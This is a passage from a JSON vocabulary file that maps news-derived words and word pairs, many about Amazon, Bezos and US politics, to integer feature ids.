\"graduating toronto\": 76216,\n  \"allies included\": 76217,\n  \"edexheimer\": 76218,\n  \"counterfeit listings\": 76219,\n  \"member\": 76220,\n  \"theirgrudging\": 76221,\n  \"stuck\": 76222,\n  \"divert funding\": 76223,\n  \"restaurants\": 76224,\n  \"trade brought\": 76225,\n  \"westervelt\": 76226,\n  \"great spy\": 76227,\n  \"world iq\": 76228,\n  \"average fee\": 76229,\n  \"ronald ron\": 76230,\n  \"herera southwest\": 76231,\n  \"options volume\": 76232,\n  \"independent bookstores\": 76233,\n  \"organization stonewall\": 76234,\n  \"read learn\": 76235,\n  \"employee fired\": 76236,\n  \"loophole according\": 76237,\n  \"roses passing\": 76238,\n  \"arnold trump\": 76239,\n  \"koeswoyo\": 76240,\n  \"billion bailout\": 76241,\n  \"official tasked\": 76242,\n  \"dark time\": 76243,\n  \"action scenes\": 76244,\n  \"historic turning\": 76245,\n  \"protesting trump\": 76246,\n  \"unworthy men\": 76247,\n  \"hq2 sweepstakes\": 76248,\n  \"business new\": 76249,\n  \"product guarantee\": 76250,\n  \"know choices\": 76251,\n  \"holds meeting\": 76252,\n  \"osho\": 76253,\n  \"trade deadline\": 76254,\n  \"qapital\": 76255,\n  \"serve customers\": 76256,\n  \"pedophilia\": 76257,\n  \"miller details\": 76258,\n  \"standard deal\": 76259,\n  \"nfl star\": 76260,\n  \"macotakara claims\": 76261,\n  \"murderous\": 76262,\n  \"travelling assassin\": 76263,\n  \"search process\": 76264,\n  \"extraordinary meeting\": 76265,\n  \"followed ultimatums\": 76266,\n  \"oft touted\": 76267,\n  \"initial capital\": 76268,\n  \"financially unsustainable\": 76269,\n  \"npr accessibility\": 76270,\n  \"doesn stink\": 76271,\n  \"bred kavanaugh\": 76272,\n  \"luca guadagnino\": 76273,\n  \"global shopping\": 76274,\n  \"hacked\": 76275,\n  \"upsetting\": 76276,\n  \"pipped\": 76277,\n  \"say thank\": 76278,\n  \"challenged\": 76279,\n  \"showbiz\": 76280,\n  \"acquisitions technology\": 76281,\n  \"fbi andrew\": 76282,\n  \"branded drugs\": 76283,\n  \"parts unknown\": 76284,\n  \"indexrose\": 76285,\n  \"persistently denounced\": 76286,\n  \"weep\": 76287,\n  \"make microsoft\": 76288,\n  \"shelter despicable\": 76289,\n  \"nick oza\": 76290,\n  \"testing shipping\": 76291,\n  \"beard dabeard\": 76292,\n  \"bootleg copy\": 76293,\n  \"accepts help\": 76294,\n  \"competitive workforces\": 76295,\n  \"rq score\": 76296,\n  \"controversial drug\": 76297,\n  \"hire poor\": 76298,\n  \"mueller doesn\": 76299,\n  \"losing billions\": 76300,\n  \"fact nearly\": 76301,\n  \"000 year\": 76302,\n  \"bribing football\": 76303,\n  \"told smith\": 76304,\n  \"grad\": 76305,\n  \"bancshares incorporated\": 76306,\n  \"service delivers\": 76307,\n  \"exciting clue\": 76308,\n  \"airline continues\": 76309,\n  \"2019 revenue\": 76310,\n  \"insects\": 76311,\n  \"memorandum today\": 76312,\n  \"meltdown mnuchin\": 76313,\n  \"folding clothes\": 76314,\n  \"students marched\": 76315,\n  \"modern agribusiness\": 76316,\n  \"commuter ferry\": 76317,\n  \"pay corporate\": 76318,\n  \"deserve place\": 76319,\n  \"columnist jamal\": 76320,\n  \"predicts beauty\": 76321,\n  \"mcdougal allegedly\": 76322,\n  \"established conservative\": 76323,\n  \"data finds\": 76324,\n  \"trump backs\": 76325,\n  \"aura\": 76326,\n  \"hinge\": 76327,\n  \"wireimage los\": 76328,\n  \"privileges hiding\": 76329,\n  \"heart collected\": 76330,\n  \"vest approach\": 76331,\n  \"icann eventually\": 76332,\n  \"resurrecting\": 76333,\n  \"topnews utm_source\": 76334,\n  \"specific lie\": 76335,\n  \"experience louis\": 76336,\n  \"street set\": 76337,\n  \"considerable business\": 76338,\n  \"zapotosky\": 76339,\n  \"people responding\": 76340,\n  \"kevin freking\": 76341,\n  \"stare quizzically\": 76342,\n  \"delegation\": 76343,\n  \"cements\": 76344,\n  \"merchants known\": 76345,\n  \"power particularly\": 76346,\n  \"amazon studios\": 76347,\n  \"square books\": 76348,\n  \"right hughes\": 76349,\n  \"matter bezos\": 76350,\n  \"quotient\": 76351,\n  \"took walking\": 76352,\n  \"iranian counterpart\": 76353,\n  \"taking intimate\": 76354,\n  \"diving experts\": 76355,\n  \"madigan\": 76356,\n  \"transfer bridges\": 76357,\n  \"000 delivery\": 76358,\n  \"trump focused\": 76359,\n  \"method writes\": 76360,\n  \"w5 new\": 76361,\n  \"mccabe claimed\": 76362,\n  \"great position\": 76363,\n  \"service operators\": 76364,\n  \"ahead city\": 76365,\n  \"friendly media\": 76366,\n  \"create stealth\": 76367,\n  \"magical christmas\": 76368,\n  \"initial 500\": 76369,\n  \"shipping company\": 76370,\n  \"winning proposal\": 76371,\n  \"initial development\": 76372,\n  \"lena knows\": 76373,\n  \"szold david\": 76374,\n  \"hot trend\": 76375,\n  \"retailers alike\": 76376,\n  \"creation potential\": 76377,\n  \"sting plane\": 76378,\n  \"crew adds\": 76379,\n  \"major uk\": 76380,\n  \"report doj\": 76381,\n  \"gene kimmelman\": 76382,\n  \"stormy\": 76383,\n  \"amazon sustainability\": 76384,\n  \"budget\": 76385,\n  \"reversed\": 76386,\n  \"audit claims\": 76387,\n  \"conservative dp\": 76388,\n  \"concerns emarketer\": 76389,\n  \"macron wrote\": 76390,\n  \"having joined\": 76391,\n  \"editors poor\": 76392,\n  \"provocative supporters\": 76393,\n  \"shockingly big\": 76394,\n  \"luke cage\": 76395,\n  \"respondents included\": 76396,\n  \"diverse customer\": 76397,\n  \"massive initial\": 76398,\n  \"continuing working\": 76399,\n  \"dam projects\": 76400,\n  \"backlash crains\": 76401,\n  \"freight handling\": 76402,\n  \"rob goodman\": 76403,\n  \"abo\": 76404,\n  \"couple stronger\": 76405,\n  \"reportedly declined\": 76406,\n  \"grown increasingly\": 76407,\n  \"attacking obama\": 76408,\n  \"3p\": 76409,\n  \"bargaining agreement\": 76410,\n  \"brought luminaid\": 76411,\n  \"actually serve\": 76412,\n  \"raptors\": 76413,\n  \"collapses\": 76414,\n  \"time firms\": 76415,\n  \"knowledge compiled\": 76416,\n  \"pace sent\": 76417,\n  \"political consultant\": 76418,\n  \"521\": 76419,\n  \"submit final\": 76420,\n  \"addressing housing\": 76421,\n  \"cnbc embedded\": 76422,\n  \"limited ability\": 76423,\n  \"franziska\": 76424,\n  \"press won\": 76425,\n  \"larger raises\": 76426,\n  \"trump heavily\": 76427,\n  \"escaped discover\": 76428,\n  \"bond ricky\": 76429,\n  \"cbs check\": 76430,\n  \"distributor\": 76431,\n  \"actually read\": 76432,\n  \"pharmacies murdering\": 76433,\n  \"fake products\": 76434,\n  \"pac make\": 76435,\n  \"question entirely\": 76436,\n  \"internets\": 76437,\n  \"dog earlier\": 76438,\n  \"amazon website\": 76439,\n  \"demonstrating pattern\": 76440,\n  \"bonnie berkowitz\": 76441,\n  \"frank underwood\": 76442,\n  \"orders directly\": 76443,\n  \"contributed tens\": 76444,\n  \"opposing cigna\": 76445,\n  \"hendricks\": 76446,\n  \"cozy place\": 76447,\n  \"i4 a4ee\": 76448,\n  \"mxm\": 76449,\n  \"giant sea\": 76450,\n  \"tech gifts\": 76451,\n  \"deliveries nationwide\": 76452,\n  \"approved exemptions\": 76453,\n  \"beginning tying\": 76454,\n  \"subjected employees\": 76455,\n  \"candidate running\": 76456,\n  \"agence\": 76457,\n  \"govpredict ceo\": 76458,\n  \"support letter\": 76459,\n  \"wages larry\": 76460,\n  \"send2press newswire\": 76461,\n  \"massive upset\": 76462,\n  \"best 167\": 76463,\n  \"legacy private\": 76464,\n  \"pallotta explains\": 76465,\n  \"saudi anger\": 76466,\n  \"renegotiated annual\": 76467,\n  \"calculating 2016\": 76468,\n  \"wait wasn\": 76469,\n  \"author insights\": 76470,\n  \"damaged\": 76471,\n  \"discounts based\": 76472,\n  \"music venue\": 76473,\n  \"chico told\": 76474,\n  \"newest\": 76475,\n  \"conservative readers\": 76476,\n  \"sustainability close\": 76477,\n  \"giuliani mueller\": 76478,\n  \"lump sum\": 76479,\n  \"negative brand\": 76480,\n  \"makes trump\": 76481,\n  \"injurious anti\": 76482,\n  \"government actually\": 76483,\n  \"community elemental\": 76484,\n  \"hurting small\": 76485,\n  \"point council\": 76486,\n  \"shared user\": 76487,\n  \"handprints\": 76488,\n  \"special promotional\": 76489,\n  \"parilla fellow\": 76490,\n  \"right skills\": 76491,\n  \"world photo\": 76492,\n  \"don exhibit\": 76493,\n  \"communications include\": 76494,\n  \"storm crushing\": 76495,\n  \"outlets publishing\": 76496,\n  \"sees deal\": 76497,\n  \"founder announced\": 76498,\n  \"large group\": 76499,\n  \"field guide\": 76500,\n  \"share share\": 76501,\n  \"s0 v4\": 76502,\n  \"big techs\": 76503,\n  \"register reports\": 76504,\n  \"onerous health\": 76505,\n  \"reported fake\": 76506,\n  \"\\u00e9ric\": 76507,\n  \"tv talk\": 76508,\n  \"process start\": 76509,\n  \"syros\": 76510,\n  \"novel normal\": 76511,\n  \"valley wrote\": 76512,\n  \"server\": 76513,\n  \"biedex\": 76514,\n  \"cloud allows\": 76515,\n  \"reporters salaries\": 76516,\n  \"coins\": 76517,\n  \"hinesburg state\": 76518,\n  \"hagedorn chief\": 76519,\n  \"tariffs targeting\": 76520,\n  \"finance exclusive\": 76521,\n  \"serving customers\": 76522,\n  \"laws representative\": 76523,\n  \"nought\": 76524,\n  \"fulfilment centres\": 76525,\n  \"elevated price\": 76526,\n  \"rosenstein assured\": 76527,\n  \"facebook katherine\": 76528,\n  \"private images\": 76529,\n  \"long called\": 76530,\n  \"tweaking\": 76531,\n  \"carell intoned\": 76532,\n  \"power generators\": 76533,\n  \"smart regulations\": 76534,\n  \"obreht debut\": 76535,\n  \"rob sanderson\": 76536,\n  \"statement noting\": 76537,\n  \"paper great\": 76538,\n  \"pretty limited\": 76539,\n  \"work backwards\": 76540,\n  \"shutdown republicans\": 76541,\n  \"report ceo\": 76542,\n  \"empt\": 76543,\n  \"alexi mccammond\": 76544,\n  \"agribusiness environmental\": 76545,\n  \"human resources\": 76546,\n  \"liberal test\": 76547,\n  \"day jeff\": 76548,\n  \"trump started\": 76549,\n  \"unique users\": 76550,\n  \"defeat isis\": 76551,\n  \"democrats given\": 76552,\n  \"times deputy\": 76553,\n  \"starts creep\": 76554,\n  \"istanbul\": 76555,\n  \"laying waste\": 76556,\n  \"barbarian\": 76557,\n  \"camera icon\": 76558,\n  \"acquire online\": 76559,\n  \"local companies\": 76560,\n  \"ubhi ubhi\": 76561,\n  \"nick carroll\": 76562,\n  \"kindly\": 76563,\n  \"shell game\": 76564,\n  \"oceania press\": 76565,\n  \"sacred location\": 76566,\n  \"harbored\": 76567,\n  \"double\": 76568,\n  \"popsockets\": 76569,\n  \"constituencies additionally\": 76570,\n  \"risen steadily\": 76571,\n  \"feel happy\": 76572,\n  \"son survived\": 76573,\n  \"ebitda margin\": 76574,\n  \"proven false\": 76575,\n  \"auto makers\": 76576,\n  \"primeair\": 76577,\n  \"progress trump\": 76578,\n  \"new towers\": 76579,\n  \"bernie calls\": 76580,\n  \"editor midterm\": 76581,\n  \"equally amazon\": 76582,\n  \"ran workshop\": 76583,\n  \"paul kengor\": 76584,\n  \"outdoors teamwork\": 76585,\n  \"blackberry\": 76586,\n  \"tru walls\": 76587,\n  \"taxes claiming\": 76588,\n  \"projects according\": 76589,\n  \"ap television\": 76590,\n  \"engineered\": 76591,\n  \"speech policies\": 76592,\n  \"fund border\": 76593,\n  \"blames secret\": 76594,\n  \"box opener\": 76595,\n  \"enquirer virigina\": 76596,\n  \"rollbacks\": 76597,\n  \"opposition time\": 76598,\n  \"kaola local\": 76599,\n  \"make championship\": 76600,\n  \"wegmann thank\": 76601,\n  \"faulkner slams\": 76602,\n  \"advances new\": 76603,\n  \"illegal consider\": 76604,\n  \"n8 u2x\": 76605,\n  \"trysts\": 76606,\n  \"personnel\": 76607,\n  \"box behemoth\": 76608,\n  \"buildings light\": 76609,\n  \"bitcoin\": 76610,\n  \"doorsteps trump\": 76611,\n  \"lehrer governor\": 76612,\n  \"falsely submitted\": 76613,\n  \"reported critically\": 76614,\n  \"thill ubs\": 76615,\n  \"stohr\": 76616,\n  \"controversy remains\": 76617,\n  \"deborah axt\": 76618,\n  \"multiple reviews\": 76619,\n  \"discussions fuel\": 76620,\n  \"second degree\": 76621,\n  \"furnishing personal\": 76622,\n  \"tribal dancers\": 76623,\n  \"add_commas progress\": 76624,\n  \"havlin\": 76625,\n  \"lambasting\": 76626,\n  \"richness\": 76627,\n  \"cronyism trump\": 76628,\n  \"headquarters delagrave\": 76629,\n  \"today standards\": 76630,\n  \"054\": 76631,\n  \"greatly shaped\": 76632,\n  \"gop supporters\": 76633,\n  \"publicly amazon\": 76634,\n  \"taxes polls\": 76635,\n  \"blackmail returns\": 76636,\n  \"richard neal\": 76637,\n  \"rising bond\": 76638,\n  \"brand craftsman\": 76639,\n  \"obsesses\": 76640,\n  \"moveon tweeted\": 76641,\n  \"play nextplay\": 76642,\n  \"effect according\": 76643,\n  \"runaway bestseller\": 76644,\n  \"international airport\": 76645,\n  \"organizations dedicated\": 76646,\n  \"raising price\": 76647,\n  \"media universe\": 76648,\n  \"tale filled\": 76649,\n  \"feeling single\": 76650,\n  \"fretful residents\": 76651,\n  \"twitter army\": 76652,\n  \"checkout stand\": 76653,\n  \"shutdown spec\": 76654,\n  \"department cloud\": 76655,\n  \"hillary campaign\": 76656,\n  \"hours amazon\": 76657,\n  \"advertising logistics\": 76658,\n  \"cozi\": 76659,\n  \"profits remain\": 76660,\n  \"contractor bidding\": 76661,\n  \"target commerce\": 76662,\n  \"company treatment\": 76663,\n  \"latin lover\": 76664,\n  \"national basketball\": 76665,\n  \"bare bones\": 76666,\n  \"wrong way\": 76667,\n  \"require landline\": 76668,\n  \"earlier trump\": 76669,\n  \"year think\": 76670,\n  \"showing growth\": 76671,\n  \"big investment\": 76672,\n  \"york state\": 76673,\n  \"start work\": 76674,\n  \"heres better\": 76675,\n  \"landmark 2015\": 76676,\n  \"commuter drive\": 76677,\n  \"law intended\": 76678,\n  \"quadratic capital\": 76679,\n  \"military leaders\": 76680,\n  \"terminate participation\": 76681,\n  \"loaded\": 76682,\n  \"apple event\": 76683,\n  \"j0 return\": 76684,\n  \"women trump\": 76685,\n  \"mortgage\": 76686,\n  \"trump pastor\": 76687,\n  \"president farr\": 76688,\n  \"italy faces\": 76689,\n  \"civil liability\": 76690,\n  \"bribe program\": 76691,\n  \"allow khashoggi\": 76692,\n  \"coors light\": 76693,\n  \"163 used\": 76694,\n  \"bezos contributing\": 76695,\n  \"trump touts\": 76696,\n  \"crowd jokingly\": 76697,\n  \"cnbc jim\": 76698,\n  \"ballston corridor\": 76699,\n  \"operations greener\": 76700,\n  \"china pledges\": 76701,\n  \"monitor immigrants\": 76702,\n  \"david kostin\": 76703,\n  \"slower growing\": 76704,\n  \"lennihan\": 76705,\n  \"won wait\": 76706,\n  \"2blvcpl brussels\": 76707,\n  \"eliresidential\": 76708,\n  \"developing think\": 76709,\n  \"lorded\": 76710,\n  \"department agency\": 76711,\n  \"barrier isn\": 76712,\n  \"service vans\": 76713,\n  \"doing worse\": 76714,\n  \"egotistical men\": 76715,\n  \"leary photo\": 76716,\n  \"easiest\": 76717,\n  \"wiring stories\": 76718,\n  \"demand workers\": 76719,\n  \"exactly known\": 76720,\n  \"global revenues\": 76721,\n  \"glance boeing\": 76722,\n  \"insular state\": 76723,\n  \"willkie\": 76724,\n  \"state brad\": 76725,\n  \"response speaker\": 76726,\n  \"stephanie keith\": 76727,\n  \"minded mischief\": 76728,\n  \"policy noted\": 76729,\n  \"castigate\": 76730,\n  \"distributed\": 76731,\n  \"choice aaliyah\": 76732,\n  \"bygone golden\": 76733,\n  \"budget proponents\": 76734,\n  \"economic situation\": 76735,\n  \"development grant\": 76736,\n  \"activated technologies\": 76737,\n  \"market driven\": 76738,\n  \"new dual\": 76739,\n  \"additional 900\": 76740,\n  \"behemoth suddenly\": 76741,\n  \"attended white\": 76742,\n  \"authentic luxury\": 76743,\n  \"anticipate amazon\": 76744,\n  \"facility measuring\": 76745,\n  \"dynamic\": 76746,\n  \"committee misspent\": 76747,\n  \"settlement inc_column_name_override\": 76748,\n  \"yale club\": 76749,\n  \"expressed disappointment\": 76750,\n  \"amazon unwillingness\": 76751,\n  \"interim police\": 76752,\n  \"streaming feature\": 76753,\n  \"olivia nuzzi\": 76754,\n  \"powered device\": 76755,\n  \"clothing store\": 76756,\n  \"goliath posting\": 76757,\n  \"jury selection\": 76758,\n  \"historically secretive\": 76759,\n  \"malevolent forces\": 76760,\n  \"115th\": 76761,\n  \"sounds conservative\": 76762,\n  \"guilt\": 76763,\n  \"buskers using\": 76764,\n  \"archibald amazon\": 76765,\n  \"lark\": 76766,\n  \"verardo\": 76767,\n  \"valued company\": 76768,\n  \"471 results\": 76769,\n  \"books essays\": 76770,\n  \"yelp ceo\": 76771,\n  \"dispatch tone\": 76772,\n  \"jean avoided\": 76773,\n  \"considering trip\": 76774,\n  \"doug jones\": 76775,\n  \"trump alleges\": 76776,\n  \"portland glob\": 76777,\n  \"creative action\": 76778,\n  \"johnson lai\": 76779,\n  \"stakeholder assessment\": 76780,\n  \"merchant customers\": 76781,\n  \"relative little\": 76782,\n  \"wsj nissim\": 76783,\n  \"enchance\": 76784,\n  \"couple files\": 76785,\n  \"385\": 76786,\n  \"int 650\": 76787,\n  \"considerable obstacles\": 76788,\n  \"tech market\": 76789,\n  \"parent organization\": 76790,\n  \"nbbj shared\": 76791,\n  \"story complete\": 76792,\n  \"business package\": 76793,\n  \"party doesn\": 76794,\n  \"school junior\": 76795,\n  \"coo sheryl\": 76796,\n  \"wishful\": 76797,\n  \"speedups\": 76798,\n  \"hectares\": 76799,\n  \"foreshadows\": 76800,\n  \"bypassing\": 76801,\n  \"held press\": 76802,\n  \"multiple drivers\": 76803,\n  \"ashore\": 76804,\n  \"fishing device\": 76805,\n  \"gray matter\": 76806,\n  \"brandingimageurl\": 76807,\n  \"billion operating\": 76808,\n  \"murdoch lieutenant\": 76809,\n  \"did quick\": 76810,\n  \"wmal amazon\": 76811,\n  \"air shipping\": 76812,\n  \"louis jacobson\": 76813,\n  \"constitutional balance\": 76814,\n  \"mark newton\": 76815,\n  \"amazon ecosystem\": 76816,\n  \"lobbying tools\": 76817,\n  \"depot objected\": 76818,\n  \"julian rankin\": 76819,\n  \"cerrado\": 76820,\n  \"sanders senate\": 76821,\n  \"photos czech\": 76822,\n  \"contemporary community\": 76823,\n  \"herbs planet\": 76824,\n  \"starlet mother\": 76825,\n  \"break maria\": 76826,\n  \"making list\": 76827,\n  \"trump disagree\": 76828,\n  \"day meetings\": 76829,\n  \"pastor conley\": 76830,\n  \"american bds\": 76831,\n  \"key recommendation\": 76832,\n  \"senior editor\": 76833,\n  \"mark ziedins\": 76834,\n  \"results suggests\": 76835,\n  \"funny nora\": 76836,\n  \"high taxed\": 76837,\n  \"forklift\": 76838,\n  \"key according\": 76839,\n  \"quite ironic\": 76840,\n  \"week postal\": 76841,\n  \"scs\": 76842,\n  \"clear vestager\": 76843,\n  \"environmental assessment\": 76844,\n  \"hasn unleashed\": 76845,\n  \"shelved indefinitely\": 76846,\n  \"countries spam\": 76847,\n  \"rucker reported\": 76848,\n  \"bipartisan group\": 76849,\n  \"2018 exclusive\": 76850,\n  \"woody\": 76851,\n  \"sell perfectly\": 76852,\n  \"family looms\": 76853,\n  \"subprime mortgages\": 76854,\n  \"vendors represents\": 76855,\n  \"apple foxconn\": 76856,\n  \"change regardless\": 76857,\n  \"food health\": 76858,\n  \"vimeo online\": 76859,\n  \"brother keith\": 76860,\n  \"bring customers\": 76861,\n  \"pharmacy start\": 76862,\n  \"worse trump\": 76863,\n  \"gig immediately\": 76864,\n  \"fast\": 76865,\n  \"loyalty runs\": 76866,\n  \"avoid political\": 76867,\n  \"page headlines\": 76868,\n  \"origin ventures\": 76869,\n  \"appl\": 76870,\n  \"fargo faced\": 76871,\n  \"nvidia fault\": 76872,\n  \"2019 dinner\": 76873,\n  \"executives predict\": 76874,\n  \"yeezy boost\": 76875,\n  \"probing seal\": 76876,\n  \"washingtonpost\": 76877,\n  \"placidly\": 76878,\n  \"global infrastructure\": 76879,\n  \"margaret shoulder\": 76880,\n  \"chosen products\": 76881,\n  \"diversity earlier\": 76882,\n  \"easily cross\": 76883,\n  \"toronto writer\": 76884,\n  \"trump grudge\": 76885,\n  \"renters\": 76886,\n  \"integrators\": 76887,\n  \"nickniedz\": 76888,\n  \"amazon purchase\": 76889,\n  \"university medill\": 76890,\n  \"democrats economic\": 76891,\n  \"drug ads\": 76892,\n  \"novelist thomas\": 76893,\n  \"township hours\": 76894,\n  \"andrea kremer\": 76895,\n  \"contracted company\": 76896,\n  \"yes mcdowell\": 76897,\n  \"colleges international\": 76898,\n  \"mix\": 76899,\n  \"news denis\": 76900,\n  \"working eliza\": 76901,\n  \"difficulties big\": 76902,\n  \"really played\": 76903,\n  \"level headed\": 76904,\n  \"taco\": 76905,\n  \"business putting\": 76906,\n  \"jacinta gonz\\u00e1lez\": 76907,\n  \"care technology\": 76908,\n  \"gruesome period\": 76909,\n  \"untested\": 76910,\n  \"methods easley\": 76911,\n  \"reviewed thoroughly\": 76912,\n  \"harvested\": 76913,\n  \"play role\": 76914,\n  \"000 visitors\": 76915,\n  \"friede springer\": 76916,\n  \"opportunity provides\": 76917,\n  \"house ready\": 76918,\n  \"beneficial\": 76919,\n  \"months marijuana\": 76920,\n  \"took sulzberger\": 76921,\n  \"huge success\": 76922,\n  \"page tribute\": 76923,\n  \"wage especially\": 76924,\n  \"axel award\": 76925,\n  \"offer\": 76926,\n  \"making new\": 76927,\n  \"main point\": 76928,\n  \"legal 2018\": 76929,\n  \"edelheit\": 76930,\n  \"latest amarillo\": 76931,\n  \"hope patient\": 76932,\n  \"wenski\": 76933,\n  \"way claimed\": 76934,\n  \"french oil\": 76935,\n  \"ordinary men\": 76936,\n  \"jr tweeted\": 76937,\n  \"sales trade\": 76938,\n  \"262 000\": 76939,\n  \"reflecting weaker\": 76940,\n  \"daydreams\": 76941,\n  \"filled daily\": 76942,\n  \"scale military\": 76943,\n  \"fund high\": 76944,\n  \"alyssa\": 76945,\n  \"making thedecision\": 76946,\n  \"rephrase\": 76947,\n  \"profits itep\": 76948,\n  \"ad spending\": 76949,\n  \"public purchasing\": 76950,\n  \"activities amazon\": 76951,\n  \"words tomorrow\": 76952,\n  \"target immigrants\": 76953,\n  \"offered billion\": 76954,\n  \"contest plea\": 76955,\n  \"major revenue\": 76956,\n  \"orderly lines\": 76957,\n  \"treasury division\": 76958,\n  \"mid sized\": 76959,\n  \"republic report\": 76960,\n  \"tax causing\": 76961,\n  \"carriers uber\": 76962,\n  \"range indicates\": 76963,\n  \"distaste\": 76964,\n  \"day agreed\": 76965,\n  \"recommendations relate\": 76966,\n  \"help define\": 76967,\n  \"governor thanks\": 76968,\n  \"diverse think\": 76969,\n  \"pulling broadcast\": 76970,\n  \"prevent similar\": 76971,\n  \"memorandum calls\": 76972,\n  \"higher overall\": 76973,\n  \"world people\": 76974,\n  \"illnesses\": 76975,\n  \"place warren\": 76976,\n  \"demonstrates new\": 76977,\n  \"connected vehicles\": 76978,\n  \"renewing\": 76979,\n  \"legislation big\": 76980,\n  \"disputed cohen\": 76981,\n  \"financial council\": 76982,\n  \"fake nikes\": 76983,\n  \"alamy\": 76984,\n  \"representative holds\": 76985,\n  \"van doorn\": 76986,\n  \"responsibility\": 76987,\n  \"frequently bashes\": 76988,\n  \"state sales\": 76989,\n  \"napster\": 76990,\n  \"members veterans\": 76991,\n  \"price method\": 76992,\n  \"vallone bayside\": 76993,\n  \"twin towers\": 76994,\n  \"family available\": 76995,\n  \"8217 second\": 76996,\n  \"js video_sourcename\": 76997,\n  \"trump act\": 76998,\n  \"tpv\": 76999,\n  \"holm ballard\": 77000,\n  \"eliminate trump\": 77001,\n  \"warren campaign\": 77002,\n  \"cyber bullying\": 77003,\n  \"french foreign\": 77004,\n  \"help climate\": 77005,\n  \"kindle price\": 77006,\n  \"ballots mail\": 77007,\n  \"vibes\": 77008,\n  \"rate cuomo\": 77009,\n  \"american symbolism\": 77010,\n  \"pignocchio\": 77011,\n  \"insider vestager\": 77012,\n  \"wrestlemania\": 77013,\n  \"restrict\": 77014,\n  \"compelling customer\": 77015,\n  \"auditor\": 77016,\n  \"headquarters facilities\": 77017,\n  \"cupboard\": 77018,\n  \"864 million\": 77019,\n  \"invulnerable\": 77020,\n  \"big subsidies\": 77021,\n  \"pitched laughter\": 77022,\n  \"says bank\": 77023,\n  \"scrutinse\": 77024,\n  \"coupled\": 77025,\n  \"make ends\": 77026,\n  \"transferred control\": 77027,\n  \"billion speed\": 77028,\n  \"newsware\": 77029,\n  \"000 locations\": 77030,\n  \"back23 pictures\": 77031,\n  \"program jeff\": 77032,\n  \"positive effects\": 77033,\n  \"walgreens\": 77034,\n  \"amazon abney\": 77035,\n  \"mortar small\": 77036,\n  \"joe grand\": 77037,\n  \"translation service\": 77038,\n  \"insurrection\": 77039,\n  \"sent 210\": 77040,\n  \"singular innovation\": 77041,\n  \"view regarding\": 77042,\n  \"major exception\": 77043,\n  \"story ap\": 77044,\n  \"usps partners\": 77045,\n  \"unwarranted\": 77046,\n  \"york finest\": 77047,\n  \"elienyc tweeted\": 77048,\n  \"king jr\": 77049,\n  \"amazon pitch\": 77050,\n  \"time mail\": 77051,\n  \"tom wolfe\": 77052,\n  \"economy sectors\": 77053,\n  \"added special\": 77054,\n  \"substantial gains\": 77055,\n  \"memorial hospital\": 77056,\n  \"kelowna mom\": 77057,\n  \"hulls\": 77058,\n  \"ge capital\": 77059,\n  \"abdul jabbar\": 77060,\n  \"market leader\": 77061,\n  \"rates payments\": 77062,\n  \"murakami fans\": 77063,\n  \"brandy\": 77064,\n  \"creativity\": 77065,\n  \"weather texas\": 77066,\n  \"international president\": 77067,\n  \"majority starts\": 77068,\n  \"dishing attacks\": 77069,\n  \"deliver babies\": 77070,\n  \"chief economist\": 77071,\n  \"upside amzn\": 77072,\n  \"profit handsomely\": 77073,\n  \"remain confidential\": 77074,\n  \"divorce documents\": 77075,\n  \"resounding defeat\": 77076,\n  \"enquirers parent\": 77077,\n  \"completely defeated\": 77078,\n  \"strangely feels\": 77079,\n  \"ensure fleet\": 77080,\n  \"unexpected surge\": 77081,\n  \"uncover pattern\": 77082,\n  \"recession saw\": 77083,\n  \"break mystery\": 77084,\n  \"sustainable\": 77085,\n  \"technicians originating\": 77086,\n  \"york calling\": 77087,\n  \"morningstar\": 77088,\n  \"adjunct\": 77089,\n  \"ford lawyer\": 77090,\n  \"negative toy\": 77091,\n  \"survivors need\": 77092,\n  \"new facilities\": 77093,\n  \"creates beautiful\": 77094,\n  \"iphone app\": 77095,\n  \"trump recognized\": 77096,\n  \"operations business\": 77097,\n  \"digital footprint\": 77098,\n  \"nuclear weapons\": 77099,\n  \"immediately return\": 77100,\n  \"praised republican\": 77101,\n  \"explicitly recommend\": 77102,\n  \"israel claim\": 77103,\n  \"store sells\": 77104,\n  \"buffett ben\": 77105,\n  \"140 times\": 77106,\n  \"trucks president\": 77107,\n  \"park hourly\": 77108,\n  \"stocks suffer\": 77109,\n  \"currently lives\": 77110,\n  \"hallmark cap\": 77111,\n  \"alibaba international\": 77112,\n  \"train million\": 77113,\n  \"presented political\": 77114,\n  \"companies selling\": 77115,\n  \"camps\": 77116,\n  \"growth trajectory\": 77117,\n  \"term resolution\": 77118,\n  \"latest turkish\": 77119,\n  \"claims rose\": 77120,\n  \"constant pichai\": 77121,\n  \"sanchez stone\": 77122,\n  \"amazon presale\": 77123,\n  \"played leading\": 77124,\n  \"policies forbes\": 77125,\n  \"brazen\": 77126,\n  \"dying little\": 77127,\n  \"events according\": 77128,\n  \"equityand\": 77129,\n  \"single contractor\": 77130,\n  \"000 awaiting\": 77131,\n  \"strain\": 77132,\n  \"michelle memoir\": 77133,\n  \"workers puts\": 77134,\n  \"extraordinarily difficult\": 77135,\n  \"ncosh findings\": 77136,\n  \"analyst ravi\": 77137,\n  \"contains achievable\": 77138,\n  \"fiscal targets\": 77139,\n  \"tennis aces\": 77140,\n  \"duhigg amazon\": 77141,\n  \"coverage including\": 77142,\n  \"stock downturn\": 77143,\n  \"post howard\": 77144,\n  \"remain negatively\": 77145,\n  \"tiger wife\": 77146,\n  \"extremely smart\": 77147,\n  \"domo accenture\": 77148,\n  \"buying products\": 77149,\n  \"trevor noahs\": 77150,\n  \"sales uu\": 77151,\n  \"workers struck\": 77152,\n  \"worlds brings\": 77153,\n  \"announces charges\": 77154,\n  \"week column\": 77155,\n  \"vacation leave\": 77156,\n  \"private events\": 77157,\n  \"smith spokesman\": 77158,\n  \"structural issues\": 77159,\n  \"viral trump\": 77160,\n  \"event trump\": 77161,\n  \"soaring tech\": 77162,\n  \"pseudonyms\": 77163,\n  \"woman elected\": 77164,\n  \"crowded events\": 77165,\n  \"administration saudi\": 77166,\n  \"perez panel\": 77167,\n  \"communications device\": 77168,\n  \"twitter credit\": 77169,\n  \"mice according\": 77170,\n  \"lender onewest\": 77171,\n  \"summit featuring\": 77172,\n  \"science technology\": 77173,\n  \"joe camel\": 77174,\n  \"heartening anti\": 77175,\n  \"essentially limited\": 77176,\n  \"jakeweindling\": 77177,\n  \"bezos msnbc\": 77178,\n  \"time associate\": 77179,\n  \"ad stressed\": 77180,\n  \"mother house\": 77181,\n  \"unfortunate tendency\": 77182,\n  \"shed nearly\": 77183,\n  \"people actually\": 77184,\n  \"beyonc hundreds\": 77185,\n  \"acquiring schwan\": 77186,\n  \"fulfilling customer\": 